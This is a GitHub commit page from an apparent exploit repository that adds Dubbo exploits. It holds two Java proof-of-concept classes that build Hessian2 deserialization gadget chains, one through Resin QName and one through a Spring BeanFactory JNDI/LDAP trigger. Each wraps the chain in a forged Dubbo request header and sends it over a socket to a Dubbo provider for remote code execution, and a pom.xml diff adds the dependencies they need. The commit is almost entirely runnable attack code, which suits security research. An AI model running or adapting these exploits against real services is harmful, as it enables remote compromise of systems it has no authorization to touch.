Skip to content

Commit 53bf2f7

Browse files
author
threedr3am
committed
feat:增加多个dubbo exploits
1 parent 1b12ad9 commit 53bf2f7

File tree

17 files changed

+1402
-99
lines changed

17 files changed

+1402
-99
lines changed

‎pom.xml‎

Lines changed: 47 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -48,15 +48,15 @@
4848
<!-- </dependency>-->
4949

5050
<!-- jsonkson -->
51-
<dependency>
52-
<groupId>com.fasterxml.jackson.core</groupId>
53-
<artifactId>jackson-core</artifactId>
54-
<version>2.9.8</version>
55-
</dependency>
51+
<!-- <dependency>-->
52+
<!-- <groupId>com.fasterxml.jackson.core</groupId>-->
53+
<!-- <artifactId>jackson-core</artifactId>-->
54+
<!-- <version>2.9.8</version>-->
55+
<!-- </dependency>-->
5656
<dependency>
5757
<groupId>com.fasterxml.jackson.core</groupId>
5858
<artifactId>jackson-databind</artifactId>
59-
<version>2.7.9.6</version>
59+
<version>2.10.2</version>
6060
</dependency>
6161

6262
<!-- ldap -->
@@ -115,11 +115,11 @@
115115
</dependency>
116116

117117
<!-- Javaee API -->
118-
<dependency>
119-
<groupId>javax</groupId>
120-
<artifactId>javaee-api</artifactId>
121-
<version>6.0</version>
122-
</dependency>
118+
<!-- <dependency>-->
119+
<!-- <groupId>javax</groupId>-->
120+
<!-- <artifactId>javaee-api</artifactId>-->
121+
<!-- <version>6.0</version>-->
122+
<!-- </dependency>-->
123123

124124
<dependency>
125125
<groupId>com.vip.vjtools</groupId>
@@ -185,15 +185,48 @@
185185
</dependency>
186186

187187
<dependency>
188-
<groupId>com.rometools</groupId>
189-
<artifactId>rome</artifactId>
190-
<version>1.7.0</version>
188+
<groupId>com.caucho</groupId>
189+
<artifactId>hessian</artifactId>
190+
<version>4.0.38</version>
191191
</dependency>
192192
<dependency>
193193
<groupId>org.apache.dubbo</groupId>
194194
<artifactId>dubbo</artifactId>
195195
<version>2.7.3</version>
196196
</dependency>
197+
198+
<dependency>
199+
<groupId>com.rometools</groupId>
200+
<artifactId>rome</artifactId>
201+
<version>1.7.0</version>
202+
</dependency>
203+
204+
<dependency>
205+
<groupId>org.apache.xbean</groupId>
206+
<artifactId>xbean-reflect</artifactId>
207+
<version>4.15</version>
208+
</dependency>
209+
210+
<dependency>
211+
<groupId>org.apache.xbean</groupId>
212+
<artifactId>xbean-naming</artifactId>
213+
<version>4.15</version>
214+
</dependency>
215+
216+
<!-- contains QName -->
217+
<dependency>
218+
<groupId>com.caucho</groupId>
219+
<artifactId>quercus</artifactId>
220+
<version>4.0.45</version>
221+
</dependency>
222+
223+
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
224+
<dependency>
225+
<groupId>com.alibaba</groupId>
226+
<artifactId>fastjson</artifactId>
227+
<version>1.2.62</version>
228+
</dependency>
229+
197230
</dependencies>
198231

199232
<build>

‎src/main/java/com/threedr3am/bug/dubbo/ResinPoc.java‎

Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
package com.threedr3am.bug.dubbo;
2+
3+
import com.caucho.hessian.io.Hessian2Output;
4+
import com.caucho.naming.QName;
5+
import com.threedr3am.bug.server.HTTPServer;
6+
import com.threedr3am.bug.support.NoWriteReplaceSerializerFactory;
7+
import com.threedr3am.bug.utils.Reflections;
8+
import com.threedr3am.bug.utils.ToStringUtil;
9+
import java.io.ByteArrayOutputStream;
10+
import java.io.OutputStream;
11+
import java.lang.reflect.Constructor;
12+
import java.net.Socket;
13+
import java.util.HashMap;
14+
import java.util.Hashtable;
15+
import java.util.Random;
16+
import javax.naming.CannotProceedException;
17+
import javax.naming.Reference;
18+
import javax.naming.directory.DirContext;
19+
import org.apache.dubbo.common.io.Bytes;
20+
import org.apache.dubbo.common.serialize.Cleanable;
21+
22+
/**
23+
* dubbo 默认配置，即hessian2反序列化，都可RCE（dubbo版本<=2.7.5）
24+
*
25+
* Spring和Spring boot环境下都能打
26+
*
27+
* <dependency>
28+
* <groupId>com.caucho</groupId>
29+
* <artifactId>quercus</artifactId>
30+
* <version>4.0.45</version>
31+
* </dependency>
32+
*
33+
* @author threedr3am
34+
*/
35+
public class ResinPoc {
36+
37+
static {
38+
HTTPServer.run(null);
39+
}
40+
41+
public static void main(String[] args) throws InterruptedException {
42+
try {
43+
Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
44+
Constructor<?> ccCons = ccCl
45+
.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
46+
ccCons.setAccessible(true);
47+
CannotProceedException cpe = new CannotProceedException();
48+
Reflections.setFieldValue(cpe, "cause", null);
49+
Reflections.setFieldValue(cpe, "stackTrace", null);
50+
51+
cpe.setResolvedObj(new Reference("Foo", "Calc", "http://127.0.0.1:8080/"));
52+
53+
Reflections.setFieldValue(cpe, "suppressedExceptions", null);
54+
DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
55+
QName qName = new QName(ctx, "foo", "bar");
56+
57+
Object o = ToStringUtil.makeToStringTrigger(qName);
58+
59+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
60+
61+
// header.
62+
byte[] header = new byte[16];
63+
// set magic number.
64+
Bytes.short2bytes((short) 0xdabb, header);
65+
// set request and serialization flag.
66+
header[2] = (byte) ((byte) 0x80 | 2);
67+
68+
// set request id.
69+
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
70+
71+
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
72+
ByteArrayOutputStream hessian2ByteArrayOutputStream2 = new ByteArrayOutputStream();
73+
ByteArrayOutputStream hessian2ByteArrayOutputStream3 = new ByteArrayOutputStream();
74+
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
75+
Hessian2Output out2 = new Hessian2Output(hessian2ByteArrayOutputStream2);
76+
Hessian2Output out3 = new Hessian2Output(hessian2ByteArrayOutputStream3);
77+
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
78+
sf.setAllowNonSerializable(true);
79+
out2.setSerializerFactory(sf);
80+
81+
//todo 经测试，以下4个随意填
82+
//注册中心获取到的service全限定名、版本号、方法名
83+
out.writeString("2.0.2");
84+
out.writeString("com.threedr3am.learn.server.boot.DemoService");
85+
out.writeString("1.0");
86+
out.writeString("hello");
87+
//todo 方法描述不需要修改，因为此处需要指定map的payload去触发
88+
out.writeString("Ljava/util/Map;");
89+
out.flushBuffer();
90+
if (out instanceof Cleanable) {
91+
((Cleanable) out).cleanup();
92+
}
93+
94+
out2.writeObject(o);
95+
out2.flushBuffer();
96+
if (out2 instanceof Cleanable) {
97+
((Cleanable) out2).cleanup();
98+
}
99+
100+
out3.writeObject(new HashMap());
101+
out3.flushBuffer();
102+
if (out3 instanceof Cleanable) {
103+
((Cleanable) out3).cleanup();
104+
}
105+
106+
Bytes.int2bytes(hessian2ByteArrayOutputStream.size() + hessian2ByteArrayOutputStream2.size()
107+
+ hessian2ByteArrayOutputStream3.size(), header, 12);
108+
byteArrayOutputStream.write(header);
109+
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
110+
byteArrayOutputStream.write(hessian2ByteArrayOutputStream2.toByteArray());
111+
byteArrayOutputStream.write(hessian2ByteArrayOutputStream3.toByteArray());
112+
113+
byte[] bytes = byteArrayOutputStream.toByteArray();
114+
115+
//todo 此处填写被攻击的dubbo服务提供者地址和端口
116+
Socket socket = new Socket("127.0.0.1", 20880);
117+
OutputStream outputStream = socket.getOutputStream();
118+
outputStream.write(bytes);
119+
outputStream.flush();
120+
outputStream.close();
121+
} catch (Exception e) {
122+
e.printStackTrace();
123+
}
124+
}
125+
}

‎src/main/java/com/threedr3am/bug/dubbo/SpringAbstractBeanFactoryPointcutAdvisorPoc.java‎

Lines changed: 106 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,106 @@
1+
package com.threedr3am.bug.dubbo;
2+
3+
import com.caucho.hessian.io.Hessian2Output;
4+
import com.threedr3am.bug.server.LdapServer;
5+
import com.threedr3am.bug.support.NoWriteReplaceSerializerFactory;
6+
import com.threedr3am.bug.utils.SpringUtil;
7+
import java.io.ByteArrayOutputStream;
8+
import java.io.OutputStream;
9+
import java.net.Socket;
10+
import java.util.HashMap;
11+
import java.util.Random;
12+
import org.apache.dubbo.common.io.Bytes;
13+
import org.apache.dubbo.common.serialize.Cleanable;
14+
import org.springframework.beans.factory.BeanFactory;
15+
16+
/**
17+
* dubbo 默认配置，即hessian2反序列化，都可RCE
18+
*
19+
* Spring环境可打，暂时测试Spring-boot打不了（应该是AOP相关类的问题）
20+
*
21+
* <dependency>
22+
* <groupId>org.springframework</groupId>
23+
* <artifactId>spring-aop</artifactId>
24+
* <version>${spring.version}</version>
25+
* </dependency>
26+
*
27+
* @author threedr3am
28+
*/
29+
public class SpringAbstractBeanFactoryPointcutAdvisorPoc {
30+
31+
static {
32+
//rmi server示例
33+
// RmiServer.run();
34+
35+
//ldap server示例
36+
LdapServer.run();
37+
}
38+
39+
public static void main(String[] args) throws Exception {
40+
BeanFactory bf = SpringUtil.makeJNDITrigger("ldap://127.0.0.1:43658/Calc");
41+
Object o = SpringUtil.makeBeanFactoryTriggerBFPA("ldap://127.0.0.1:43658/Calc", bf);
42+
43+
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
44+
45+
// header.
46+
byte[] header = new byte[16];
47+
// set magic number.
48+
Bytes.short2bytes((short) 0xdabb, header);
49+
// set request and serialization flag.
50+
header[2] = (byte) ((byte) 0x80 | 2);
51+
52+
// set request id.
53+
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
54+
55+
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
56+
ByteArrayOutputStream hessian2ByteArrayOutputStream2 = new ByteArrayOutputStream();
57+
ByteArrayOutputStream hessian2ByteArrayOutputStream3 = new ByteArrayOutputStream();
58+
Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
59+
Hessian2Output out2 = new Hessian2Output(hessian2ByteArrayOutputStream2);
60+
Hessian2Output out3 = new Hessian2Output(hessian2ByteArrayOutputStream3);
61+
NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
62+
sf.setAllowNonSerializable(true);
63+
out2.setSerializerFactory(sf);
64+
65+
//todo 经测试，以下4个随意填
66+
//注册中心获取到的service全限定名、版本号、方法名
67+
out.writeString("2.0.2");
68+
out.writeString("com.threedr3am.learn.server.boot.DemoService");
69+
out.writeString("1.0");
70+
out.writeString("hello");
71+
//todo 方法描述不需要修改，因为此处需要指定map的payload去触发
72+
out.writeString("Ljava/util/Map;");
73+
out.flushBuffer();
74+
if (out instanceof Cleanable) {
75+
((Cleanable) out).cleanup();
76+
}
77+
78+
out2.writeObject(o);
79+
out2.flushBuffer();
80+
if (out2 instanceof Cleanable) {
81+
((Cleanable) out2).cleanup();
82+
}
83+
84+
out3.writeObject(new HashMap());
85+
out3.flushBuffer();
86+
if (out3 instanceof Cleanable) {
87+
((Cleanable) out3).cleanup();
88+
}
89+
90+
Bytes.int2bytes(hessian2ByteArrayOutputStream.size() + hessian2ByteArrayOutputStream2.size()
91+
+ hessian2ByteArrayOutputStream3.size(), header, 12);
92+
byteArrayOutputStream.write(header);
93+
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
94+
byteArrayOutputStream.write(hessian2ByteArrayOutputStream2.toByteArray());
95+
byteArrayOutputStream.write(hessian2ByteArrayOutputStream3.toByteArray());
96+
97+
byte[] bytes = byteArrayOutputStream.toByteArray();
98+
99+
//todo 此处填写被攻击的dubbo服务提供者地址和端口
100+
Socket socket = new Socket("127.0.0.1", 20880);
101+
OutputStream outputStream = socket.getOutputStream();
102+
outputStream.write(bytes);
103+
outputStream.flush();
104+
outputStream.close();
105+
}
106+
}

0 commit comments

Comments
 (0)